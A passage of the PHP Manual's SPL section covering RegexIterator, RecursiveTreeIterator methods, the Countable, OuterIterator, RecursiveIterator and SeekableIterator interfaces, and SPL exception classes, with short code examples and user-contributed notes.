The value to assign to the part of the prefix specified in part.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator::rewind
RecursiveTreeIterator::valid
RecursiveTreeIterator


Check validity

RecursiveTreeIterator::setPrefixPart
RegexIterator
RecursiveTreeIterator
PHP Manual

RecursiveTreeIterator::valid

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::valid — Check validity

Description

public bool RecursiveTreeIterator::valid ( void )

Check whether the current position is valid.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

TRUE if the current position is valid, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.
RecursiveTreeIterator::setPrefixPart
RegexIterator
RecursiveTreeIterator


The RegexIterator class

(PHP 5 >= 5.2.0)

Introduction

This iterator can be used to filter another iterator based on a regular expression.

Class synopsis

RegexIterator extends FilterIterator {
/* Constants */
const integer MATCH = 0 ;
const integer GET_MATCH = 1 ;
const integer ALL_MATCHES = 2 ;
const integer SPLIT = 3 ;
const integer REPLACE = 4 ;
const integer USE_KEY = 1 ;
/* Methods */
public __construct ( Iterator $iterator , string $regex [, int $mode = self::MATCH [, int $flags = 0 [, int $preg_flags = 0 ]]] )
public bool accept ( void )
public int getFlags ( void )
public int getMode ( void )
public int getPregFlags ( void )
public string getRegex ( void )
public void setFlags ( int $flags )
public void setMode ( int $mode )
public void setPregFlags ( int $preg_flags )
/* Inherited methods */
abstract bool FilterIterator::accept ( void )
FilterIterator::__construct ( Iterator $iterator )
mixed FilterIterator::current ( void )
Iterator FilterIterator::getInnerIterator ( void )
mixed FilterIterator::key ( void )
void FilterIterator::next ( void )
void FilterIterator::rewind ( void )
bool FilterIterator::valid ( void )
}

Predefined Constants

RegexIterator operation modes

RegexIterator::ALL_MATCHES

Return all matches for the current entry (see preg_match_all()).

RegexIterator::GET_MATCH

Return the first match for the current entry (see preg_match()).

RegexIterator::MATCH

Only execute match (filter) for the current entry (see preg_match()).

RegexIterator::REPLACE

Replace the current entry (see preg_replace(); Not fully implemented yet)

RegexIterator::SPLIT

Returns the split values for the current entry (see preg_split()).

RegexIterator Flags

RegexIterator::USE_KEY

Special flag: Match the entry key instead of the entry value.

Table of Contents

  • RegexIterator::accept — Get accept status
  • RegexIterator::__construct — Create a new RegexIterator
  • RegexIterator::getFlags — Get flags
  • RegexIterator::getMode — Returns operation mode.
  • RegexIterator::getPregFlags — Returns the regular expression flags.
  • RegexIterator::getRegex — Returns current regular expression
  • RegexIterator::setFlags — Sets the flags.
  • RegexIterator::setMode — Sets the operation mode.
  • RegexIterator::setPregFlags — Sets the regular expression flags.

User Contributed Notes

jinmoku at hotmail dot com 10-Dec-2010 12:28
An exemple :

<?php
$a = new ArrayIterator(array('test1', 'test2', 'test3'));
$i = new RegexIterator($a, '/^(test)(\d+)/', RegexIterator::REPLACE);
$i->replacement = '$2:$1';

print_r(iterator_to_array($i));
/*
Array
(
    [0] => 1:test
    [1] => 2:test
    [2] => 3:test
)
*/
?>
RecursiveTreeIterator::valid
RegexIterator::accept
Iterators


Get accept status

RegexIterator
RegexIterator::__construct
RegexIterator
PHP Manual

RegexIterator::accept

(PHP 5 >= 5.2.0)

RegexIterator::accept — Get accept status

Description

public bool RegexIterator::accept ( void )

Matches (string)  RegexIterator::current()
(or  RegexIterator::key() if the
RegexIterator::USE_KEY flag is set)
against the regular expression.

Parameters

This function has no parameters.

Return Values

TRUE if a match, FALSE otherwise.

Examples

Example #1 RegexIterator::accept() example

This example shows that only items matching the regular expression are accepted.

<?php
$names = new ArrayIterator(array('Ann', 'Bob', 'Charlie', 'David'));
$filter = new RegexIterator($names, '/^[B-D]/');
foreach ($filter as $name) {
    echo $name . PHP_EOL;
}
?>

The above example will output:

Bob
Charlie
David

See Also

  • RegexIterator constants
  • RegexIterator::setFlags() - Sets the flags.

User Contributed Notes

There are no user contributed notes for this page.
RegexIterator
RegexIterator::__construct
RegexIterator


Create a new RegexIterator

RegexIterator::accept
RegexIterator::getFlags
RegexIterator
PHP Manual

RegexIterator::__construct

(PHP 5 >= 5.2.0)

RegexIterator::__construct — Create a new RegexIterator

Description

public RegexIterator::__construct() ( Iterator $iterator , string $regex [, int $mode = self::MATCH [, int $flags = 0 [, int $preg_flags = 0 ]]] )

Create a new RegexIterator which filters an Iterator using a regular expression.

Parameters

iterator

The iterator to apply this regex filter to.

regex

The regular expression to match.

mode

Operation mode, see RegexIterator::setMode() for a list of modes.

flags

Special flags, see RegexIterator::setFlags() for a list of available flags.

preg_flags

The regular expression flags. These flags depend on the operation mode parameter:

RegexIterator preg_flags
operation mode | available flags
RegexIterator::ALL_MATCHES | See preg_match_all().
RegexIterator::GET_MATCH | See preg_match().
RegexIterator::MATCH | See preg_match().
RegexIterator::REPLACE | none.
RegexIterator::SPLIT | See preg_split().

Examples

Example #1 RegexIterator::__construct() example

Creates a new RegexIterator that filters all strings that start with 'test'.

<?php
$arrayIterator = new ArrayIterator(array('test 1', 'another test', 'test 123'));
$regexIterator = new RegexIterator($arrayIterator, '/^test/');

foreach ($regexIterator as $value) {
    echo $value . "\n";
}
?>

The above example will output something similar to:

test 1
test 123

See Also

  • preg_match() - Perform a regular expression match
  • preg_match_all() - Perform a global regular expression match
  • preg_replace() - Perform a regular expression search and replace
  • preg_split() - Split string by a regular expression

User Contributed Notes

There are no user contributed notes for this page.
RegexIterator::accept
RegexIterator::getFlags
RegexIterator


Get flags

RegexIterator::__construct
RegexIterator::getMode
RegexIterator
PHP Manual

RegexIterator::getFlags

(PHP 5 >= 5.2.0)

RegexIterator::getFlags — Get flags

Description

public int RegexIterator::getFlags ( void )

Returns the flags, see RegexIterator::setFlags() for a list of available flags.

Return Values

Returns the set flags.

Examples

Example #1 RegexIterator::getFlags() example

<?php

$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^test/');
$regexIterator->setFlags(RegexIterator::USE_KEY);

if ($regexIterator->getFlags() & RegexIterator::USE_KEY) {
    echo 'Filtering based on the array keys.';
} else {
    echo 'Filtering based on the array values.';
}
?>

The above example will output:

Filtering based on the array keys.

See Also

  • RegexIterator::setFlags() - Sets the flags.

User Contributed Notes

There are no user contributed notes for this page.
RegexIterator::__construct
RegexIterator::getMode
RegexIterator


Returns operation mode.

RegexIterator::getFlags
RegexIterator::getPregFlags
RegexIterator
PHP Manual

RegexIterator::getMode

(PHP 5 >= 5.2.0)

RegexIterator::getMode — Returns operation mode.

Description

public int RegexIterator::getMode ( void )

Returns the operation mode, see RegexIterator::setMode() for the list of operation modes.

Return Values

Returns the operation mode.

Examples

Example #1 RegexIterator::getMode() example

<?php

$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^[a-z]+/', RegexIterator::GET_MATCH);

$mode = $regexIterator->getMode();
if ($mode & RegexIterator::GET_MATCH) {
    echo 'Getting the match for each item.';
} elseif ($mode & RegexIterator::ALL_MATCHES) {
    echo 'Getting all matches for each item.';
} elseif ($mode & RegexIterator::MATCH) {
    echo 'Getting each item if it matches.';
} elseif ($mode & RegexIterator::SPLIT) {
    echo 'Getting split pieces of each.';
}
?>

The above example will output:

Getting the match for each item.

See Also

  • RegexIterator::setMode() - Sets the operation mode.

User Contributed Notes

There are no user contributed notes for this page.
RegexIterator::getFlags
RegexIterator::getPregFlags
RegexIterator


Returns the regular expression flags.

RegexIterator::getMode
RegexIterator::getRegex
RegexIterator
PHP Manual

RegexIterator::getPregFlags

(PHP 5 >= 5.2.0)

RegexIterator::getPregFlags — Returns the regular expression flags.

Description

public int RegexIterator::getPregFlags ( void )

Returns the regular expression flags, see RegexIterator::__construct() for the list of flags.

Return Values

Returns a bitmask of the regular expression flags.

Examples

Example #1 RegexIterator::getPregFlags() example

<?php

$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/\s/', RegexIterator::SPLIT);
$regexIterator->setPregFlags(PREG_SPLIT_NO_EMPTY | PREG_SPLIT_OFFSET_CAPTURE);

if ($regexIterator->getPregFlags() & PREG_SPLIT_NO_EMPTY) {
    echo 'Ignoring empty pieces';
} else {
    echo 'Not ignoring empty pieces';
}

?>

The above example will output:

Ignoring empty pieces

See Also

  • RegexIterator::setPregFlags() - Sets the regular expression flags.

User Contributed Notes

There are no user contributed notes for this page.
RegexIterator::getMode
RegexIterator::getRegex
RegexIterator


Returns current regular expression

RegexIterator::getPregFlags
RegexIterator::setFlags
RegexIterator
PHP Manual

RegexIterator::getRegex

(No version information available, might only be in SVN)

RegexIterator::getRegex — Returns current regular expression

Description

public string RegexIterator::getRegex ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
RegexIterator::getPregFlags
RegexIterator::setFlags
RegexIterator


Sets the flags.

RegexIterator::getRegex
RegexIterator::setMode
RegexIterator
PHP Manual

RegexIterator::setFlags

(PHP 5 >= 5.2.0)

RegexIterator::setFlags — Sets the flags.

Description

public void RegexIterator::setFlags ( int $flags )

Sets the flags.

Parameters

flags

The flags to set, a bitmask of class constants.

The available flags are listed below. The actual meanings of these flags are described in the predefined constants.

RegexIterator flags
value | constant
1 | RegexIterator::USE_KEY

Return Values

No value is returned.

Examples

Example #1 RegexIterator::setFlags() example

Creates a new RegexIterator that filters all entries whose key starts with 'test'.

<?php
$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^test/');
$regexIterator->setFlags(RegexIterator::USE_KEY);

foreach ($regexIterator as $key => $value) {
    echo $key . ' => ' . $value . "\n";
}
?>

The above example will output:

teststr2 => another test

See Also

  • RegexIterator::getFlags() - Get flags

User Contributed Notes

There are no user contributed notes for this page.
RegexIterator::getRegex
RegexIterator::setMode
RegexIterator


Sets the operation mode.

RegexIterator::setFlags
RegexIterator::setPregFlags
RegexIterator
PHP Manual

RegexIterator::setMode

(PHP 5 >= 5.2.0)

RegexIterator::setMode — Sets the operation mode.

Description

public void RegexIterator::setMode ( int $mode )

Sets the operation mode.

Parameters

mode

The operation mode.

The available modes are listed below. The actual meanings of these modes are described in the predefined constants.

RegexIterator modes
value | constant
0 | RegexIterator::MATCH
1 | RegexIterator::GET_MATCH
2 | RegexIterator::ALL_MATCHES
3 | RegexIterator::SPLIT
4 | RegexIterator::REPLACE

Return Values

No value is returned.

Examples

Example #1 RegexIterator::setMode() example

<?php
$test = array ('str1' => 'test 1', 'test str2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
// Filter everything that starts with 'test ' followed by one or more numbers.
$regexIterator = new RegexIterator($arrayIterator, '/^test (\d+)/');
// Operation mode: Replace actual value with the matches
$regexIterator->setMode(RegexIterator::GET_MATCH);

foreach ($regexIterator as $key => $value) {
    // print out the matched number(s)
    echo $key . ' => ' . $value[1] . PHP_EOL;
}
?>

The above example will output something similar to:

str1 => 1
str3 => 123

See Also

  • RegexIterator::getMode() - Returns operation mode.

User Contributed Notes

There are no user contributed notes for this page.
RegexIterator::setFlags
RegexIterator::setPregFlags
RegexIterator


Sets the regular expression flags.

RegexIterator::setMode
Interfaces
RegexIterator
PHP Manual

RegexIterator::setPregFlags

(PHP 5 >= 5.2.0)

RegexIterator::setPregFlags — Sets the regular expression flags.

Description

public void RegexIterator::setPregFlags ( int $preg_flags )

Sets the regular expression flags.

Parameters

preg_flags

The regular expression flags. See RegexIterator::__construct() for an overview of available flags.

Return Values

No value is returned.

Examples

Example #1 RegexIterator::setPregFlags() example

Creates a new RegexIterator that filters all entries with where the array key starts with 'test'.

<?php
$test = array ('test 1', 'another test', 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^test/', RegexIterator::GET_MATCH);

$regexIterator->setPregFlags(PREG_OFFSET_CAPTURE);

foreach ($regexIterator as $key => $value) {
    var_dump($value);
}
?>

The above example will output something similar to:

array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(4) "test"
    [1]=>
    int(0)
  }
}
array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(4) "test"
    [1]=>
    int(0)
  }
}

See Also

  • RegexIterator::getPregFlags() - Returns the regular expression flags.

User Contributed Notes

There are no user contributed notes for this page.
RegexIterator::setMode
Interfaces
RegexIterator


Interfaces

Table of Contents

  • Countable
  • OuterIterator
  • RecursiveIterator
  • SeekableIterator

SPL provides a set of interfaces.

See also the Predefined Interfaces

Interface list

  • Countable
  • OuterIterator
  • RecursiveIterator
  • SeekableIterator
  • SplObserver
  • SplSubject

User Contributed Notes

There are no user contributed notes for this page.
RegexIterator::setPregFlags
Countable
SPL


The Countable interface

(PHP 5 >= 5.1.0)

Introduction

Classes implementing Countable can be used with the count() function.

Interface synopsis

Countable {
/* Methods */
abstract public int count ( void )
}

Table of Contents

  • Countable::count — Count elements of an object

User Contributed Notes

Anonymous 17-Jan-2011 06:10
Note that arrays don't implement countable. Therefore you can't force a countable parameter for a function if you want it also to work with native arrays.
isaac dot z dot foster dot nada at spamporfav dot gmail dot com 08-Jun-2010 01:18
I just want to point out that your class has to actually implement the Countable interface, not just define a count method, to be able to use count($object) and get the expected results. I.e. the first example below won't work as expected, the second will. (The normal arrow function accessor ($object->count()) will work fine, but that's not the kewl part :) )

<?php
//Example One, BAD :(

class CountMe
{

    protected $_myCount = 3;

    public function count()
    {
        return $this->_myCount;
    }

}

$countable = new CountMe();
echo count($countable); //result is "1", not as expected

//Example Two, GOOD :)

class CountMe implements Countable
{

    protected $_myCount = 3;

    public function count()
    {
        return $this->_myCount;
    }

}

$countable = new CountMe();
echo count($countable); //result is "3" as expected
?>
Interfaces
Countable::count
Interfaces


Count elements of an object

Countable
OuterIterator
Countable
PHP Manual

Countable::count

(PHP 5 >= 5.1.0)

Countable::count — Count elements of an object

Description

abstract public int Countable::count ( void )

This method is executed when using the count() function on an object implementing Countable.

Parameters

This function has no parameters.

Return Values

The custom count as an integer.

Note:

The return value is cast to an integer.

Examples

Example #1 Countable::count() example

<?php
class myCounter implements Countable {
    public function count() {
        static $count = 0;
        return ++$count;
    }
}

$counter = new myCounter;

for($i=0; $i<10; ++$i) {
    echo "I have been count()ed " . count($counter) . " times\n";
}
?>

The above example will output something similar to:

I have been count()ed 1 times
I have been count()ed 2 times
I have been count()ed 3 times
I have been count()ed 4 times
I have been count()ed 5 times
I have been count()ed 6 times
I have been count()ed 7 times
I have been count()ed 8 times
I have been count()ed 9 times
I have been count()ed 10 times

User Contributed Notes

There are no user contributed notes for this page.
Countable
OuterIterator
Countable


The OuterIterator interface

(PHP 5 >= 5.1.0)

Introduction

Classes implementing OuterIterator can be used to iterate over iterators.

Interface synopsis

OuterIterator extends Iterator {
/* Methods */
public Iterator getInnerIterator ( void )
/* Inherited methods */
abstract public mixed Iterator::current ( void )
abstract public scalar Iterator::key ( void )
abstract public void Iterator::next ( void )
abstract public void Iterator::rewind ( void )
abstract public boolean Iterator::valid ( void )
}

Table of Contents

  • OuterIterator::getInnerIterator — Returns the inner iterator for the current entry.

User Contributed Notes

There are no user contributed notes for this page.
Countable::count
OuterIterator::getInnerIterator
Interfaces


Returns the inner iterator for the current entry.

OuterIterator
RecursiveIterator
OuterIterator
PHP Manual

OuterIterator::getInnerIterator

(PHP 5 >= 5.1.0)

OuterIterator::getInnerIterator — Returns the inner iterator for the current entry.

Description

public Iterator OuterIterator::getInnerIterator ( void )

Returns the inner iterator for the current iterator entry.

Parameters

This function has no parameters.

Return Values

The inner iterator for the current entry.

User Contributed Notes

There are no user contributed notes for this page.
OuterIterator
RecursiveIterator
OuterIterator


The RecursiveIterator interface

(PHP 5 >= 5.1.0)

Introduction

Classes implementing RecursiveIterator can be used to iterate over iterators recursively.

Interface synopsis

RecursiveIterator extends Iterator {
/* Methods */
public RecursiveIterator getChildren ( void )
public bool hasChildren ( void )
/* Inherited methods */
abstract public mixed Iterator::current ( void )
abstract public scalar Iterator::key ( void )
abstract public void Iterator::next ( void )
abstract public void Iterator::rewind ( void )
abstract public boolean Iterator::valid ( void )
}

Table of Contents

  • RecursiveIterator::getChildren — Returns an iterator for the current entry.
  • RecursiveIterator::hasChildren — Returns if an iterator can be created fot the current entry.

User Contributed Notes

andresdzphp at php dot net 04-Oct-2011 12:43
RecursiveIterator example:

<?php

class MyRecursiveIterator implements RecursiveIterator
{
    private $_data;
    private $_position = 0;

    public function __construct(array $data) {
        $this->_data = $data;
    }

    public function valid() {
        return isset($this->_data[$this->_position]);
    }

    public function hasChildren() {
        return is_array($this->_data[$this->_position]);
    }

    public function next() {
        $this->_position++;
    }

    public function current() {
        return $this->_data[$this->_position];
    }

    public function getChildren() {
        echo '<pre>';
        print_r($this->_data[$this->_position]);
        echo '</pre>';
    }

    public function rewind() {
        $this->_position = 0;
    }

    public function key() {
        return $this->_position;
    }
}

$arr = array(0, 1, 2, 3, 4, 5 => array(10, 20, 30), 6, 7, 8, 9 => array(1, 2, 3));
$mri = new MyRecursiveIterator($arr);

foreach ($mri as $c => $v) {
    if ($mri->hasChildren()) {
        echo "$c has children: <br />";
        $mri->getChildren();
    } else {
        echo "$v <br />";
    }

}
?>

Result:

0
1
2
3
4
5 has children:
Array
(
    [0] => 10
    [1] => 20
    [2] => 30
)
6
7
8
9 has children:
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
)
OuterIterator::getInnerIterator
RecursiveIterator::getChildren
Interfaces


Returns an iterator for the current entry.

RecursiveIterator
RecursiveIterator::hasChildren
RecursiveIterator
PHP Manual

RecursiveIterator::getChildren

(PHP 5 >= 5.1.0)

RecursiveIterator::getChildren — Returns an iterator for the current entry.

Description

public RecursiveIterator RecursiveIterator::getChildren ( void )

Returns an iterator for the current iterator entry.

Parameters

This function has no parameters.

Return Values

An iterator for the current entry.

See Also

  • RecursiveIterator::hasChildren() - Returns if an iterator can be created fot the current entry.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIterator
RecursiveIterator::hasChildren
RecursiveIterator


Returns if an iterator can be created fot the current entry.

RecursiveIterator::getChildren
SeekableIterator
RecursiveIterator
PHP Manual

RecursiveIterator::hasChildren

(PHP 5 >= 5.1.0)

RecursiveIterator::hasChildren — Returns if an iterator can be created fot the current entry.

Description

public bool RecursiveIterator::hasChildren ( void )

Returns if an iterator can be created fot the current entry. RecursiveIterator::getChildren().

Parameters

This function has no parameters.

Return Values

Returns TRUE if the current entry can be iterated over, otherwise returns FALSE.

See Also

  • RecursiveIterator::getChildren() - Returns an iterator for the current entry.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIterator::getChildren
SeekableIterator
RecursiveIterator


The SeekableIterator interface

(PHP 5 >= 5.1.0)

Introduction

The Seekable iterator.

Interface synopsis

SeekableIterator extends Iterator {
/* Methods */
abstract public void seek ( int $position )
/* Inherited methods */
abstract public mixed Iterator::current ( void )
abstract public scalar Iterator::key ( void )
abstract public void Iterator::next ( void )
abstract public void Iterator::rewind ( void )
abstract public boolean Iterator::valid ( void )
}

Example #1 Basic usage

This example demonstrates creating a custom SeekableIterator, seeking to a position and handling an invalid position.

<?php
class MySeekableIterator implements SeekableIterator {

    private $position = 0;

    private $array = array(
        "first element",
        "second element",
        "third element",
        "fourth element"
    );

    public function seek($position) {
      $this->position = $position;

      if (!$this->valid()) {
          throw new OutOfBoundsException("invalid seek position ($position)");
      }
    }

    /* Methods required for Iterator interface */

    public function __construct() {
        $this->position = 0;
    }

    public function rewind() {
        $this->position = 0;
    }

    public function current() {
        return $this->array[$this->position];
    }

    public function key() {
        return $this->position;
    }

    public function next() {
        ++$this->position;
    }

    public function valid() {
        return isset($this->array[$this->position]);
    }
}

try {

    $it = new MySeekableIterator;
    echo $it->current(), "\n";

    $it->seek(2);
    echo $it->current(), "\n";

    $it->seek(1);
    echo $it->current(), "\n";

    $it->seek(10);

} catch (OutOfBoundsException $e) {
    echo $e->getMessage();
}
?>

The above example will output something similar to:

first element
third element
second element
invalid seek position (10)

Table of Contents

  • SeekableIterator::seek — Seeks to a position

User Contributed Notes

svenr at selfhtml dot org 14-Nov-2011 04:21
Best method:

<?php

if ($object instanceof SeekableIterator) {
  echo "\$object has method seek()";
}

?>

Please, make use of checking if a particular interface has been implemented to assure that the object you are dealing with definately has the methods you are about to use.

This also works as typehinting:

<?php

class foo {
  public function doSomeSeeking(SeekableIterator $seekMe) {
    $seekMe->seek(10); // will work, otherwise Typehint triggers complaints
  }
}

?>
martin at smasty dot net 15-May-2011 08:01
The reflection approach:

<?php

$reflection = new ReflectionClass('MySeekableIterator');
if($reflection->hasMethod('seek'))
  echo "This class has method seek().";

?>
marcin dot kleczek at gmail dot com 15-Apr-2010 11:59
Better method:

<?php
            $class = 'SeekableIterator';
            $findingMethod = 'seek'; // have to be lower chars

            $methods = get_class_methods($class);

            foreach( $methods as $pVal )
                if ( $findingMethod == strtolower($pVal) ) {
                    echo 'This class has method seek().';
                    break;
                }

}

?>

Best method: http://php.net/manual/en/function.method-exists.php
dreake at example dot com 30-Jun-2009 02:38
This example show how to check if some class has method seek() (or another method).

<?php
$class = 'SeekableIterator';
            $findingMethod = 'seek'; // have to be lower chars

            $methods = get_class_methods($class);

            for($i = 0, $ii = count($methods); $i < $ii; $i++){
                $sl = strtolower($methods[$i]);
                $lowermethods[$i] = $sl;
            }

            if(in_array($findingMethod,$lowermethods))
                echo 'This class has method seek().';
?>
RecursiveIterator::hasChildren
SeekableIterator::seek
Interfaces


Seeks to a position

SeekableIterator
Exceptions
SeekableIterator
PHP Manual

SeekableIterator::seek

(PHP 5 >= 5.1.0)

SeekableIterator::seek — Seeks to a position

Description

abstract public void SeekableIterator::seek ( int $position )

Seeks to a given position in the iterator.

Parameters

position

The position to seek to.

Return Values

No value is returned.

Errors/Exceptions

Implementations should throw an OutOfBoundsException if the position is not seekable.

Examples

Example #1 SeekableIterator::seek() example

Seek to the item at position 3 in the iterator (ArrayIterator implements SeekableIterator).

<?php
$array = array("apple", "banana", "cherry", "damson", "elderberry");
$iterator = new ArrayIterator($array);
$iterator->seek(3);
echo $iterator->current();
?>

The above example will output something similar to:

damson

See Also

  • SeekableIterator
  • Iterator

User Contributed Notes

There are no user contributed notes for this page.
SeekableIterator
Exceptions
SeekableIterator


Exceptions

Table of Contents

  • BadFunctionCallException
  • BadMethodCallException
  • DomainException
  • InvalidArgumentException
  • LengthException
  • LogicException
  • OutOfBoundsException
  • OutOfRangeException
  • OverflowException
  • RangeException
  • RuntimeException
  • UnderflowException
  • UnexpectedValueException

SPL provides a set of standard Exceptions.

See also the Predefined Exceptions

User Contributed Notes

Dawid Krysiak 03-Feb-2011 02:25
SPL exceptions' class hierarchy may be helpfull for somebody to better understand the whole thing.

Exception
    LogicException
        BadFunctionCallException
            BadMethodCallException
        DomainException
        InvalidArgumentException
        LengthException
        OutOfRangeException
    RuntimeException
        OutOfBoundsException
        OverflowException
        RangeException
        UnderflowException
        UnexpectedValueException

Unfortunately the classes are documented rather poorly, without no examples where to use them :(
SeekableIterator::seek
BadFunctionCallException
SPL


The BadFunctionCallException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown if a callback refers to an undefined function or if some arguments are missing.

Class synopsis

BadFunctionCallException extends LogicException {
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

Dawid Krysiak 03-Feb-2011 02:35
Direct known subclasses:
BadMethodCallException

So BadMethodCallException can be used in case the subject function is or should be a part of class / object - it's use defines the case more precisely.
tom at tomwardrop dot com 15-Nov-2009 07:42
A typical use for this exception, is in conjunction with the is_callable() function.
Exceptions
BadMethodCallException
Exceptions


The BadMethodCallException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown if a callback refers to an undefined method or if some arguments are missing.

Class synopsis

BadMethodCallException extends BadFunctionCallException {
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
BadFunctionCallException
DomainException
Exceptions


The DomainException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown if a value does not adhere to a defined valid data domain.

Class synopsis

DomainException extends LogicException {
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

mateusz dot charytoniuk at gmail dot com 20-Oct-2011 12:45
<?php
function renderImage($imageResource, $imageType)
{
  switch ($imageType) {
  case 'jpg':
  case 'jpeg':
    header('Content-type: image/jpeg');
    imagejpeg($imageResource);
    break;
  case 'png':
    header('Content-type: image/png');
    imagepng($imageResource);
    break;
  default:
    throw new DomainException('Unknown image type: ' . $imageType);
    break;
  }
  imagedestroy($imageResource);
}
?>
johnny dot bojowkarz at gmail dot com 19-Jul-2011 03:27
<?php
function divide($dividend, $divisor)
{
  if($divisor == 0) {
    throw new \DomainException(
      'Zero does not belong to the domain of this functions.'
    );
  }
  return $dividend / $divisor;
}
?>

<?php
function logarithm($argument, $base)
{
  if($base <= 0 || $base == 1) {
    throw new \DomainException(
      'Specified base does not belong to the domain of this function.'
    );
  }
  if($argument <= 0) {
    throw new \DomainException(
      'Specified argument does not belong to the domain of this function.'
    );
  }
  return log($argument, $base);
}
?>
BadMethodCallException
InvalidArgumentException
Exceptions


The InvalidArgumentException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown if an argument does not match with the expected value.

Class synopsis

InvalidArgumentException extends LogicException {
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

Levi Morrison 19-Nov-2011 09:53
Note that Joey's code showing an example of using InvalidArgumentException uses is_int, but probably should use filter_var($int, FILTER_VALIDATE_INT).

Also, whether you should throw this function or OutOfRangeException when dealing with arrays is a bit unclear.  My personal preference is to throw InvalidArgumentException.
Joey at anti-culture dot net 02-Feb-2011 09:08
In my opinion this exception is invaluable for validating arguments- for example providing strict typing a la C:

<?php
function tripleInteger($int)
{
  if(!is_int($int))
    throw new InvalidArgumentException('tripleInteger function only accepts integers. Input was: '.$int);
  return $int * 3;
}

$x = tripleInteger(4); //$x == 12
$x = tripleInteger(2.5); //exception will be thrown as 2.5 is a float
$x = tripleInteger('foo'); //exception will be thrown as 'foo' is a string
$x = tripleInteger('4'); //exception will throw as '4' is also a string

?>
DomainException
LengthException
Exceptions


The LengthException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown if a length is invalid.

Class synopsis

LengthException extends LogicException {
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
InvalidArgumentException
LogicException
Exceptions


The LogicException class

(PHP 5 >= 5.1.0)

Introduction

Exception that represents error in the program logic. This kind of exceptions should directly lead to a fix in your code.

Class synopsis

LogicException extends Exception {
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

Dawid Krysiak 03-Feb-2011 02:32
Direct known subclasses:
BadFunctionCallException, DomainException, InvalidArgumentException, LengthException, OutOfRangeException
LengthException
OutOfBoundsException
Exceptions


The OutOfBoundsException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown if a value is not a valid key. This represents errors that cannot be detected at compile time.

Class synopsis

OutOfBoundsException extends RuntimeException {
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
LogicException
OutOfRangeException
Exceptions


The OutOfRangeException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown when an illegal index was requested. This represents errors that should be detected at compile time.

Class synopsis

OutOfRangeException extends LogicException {
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

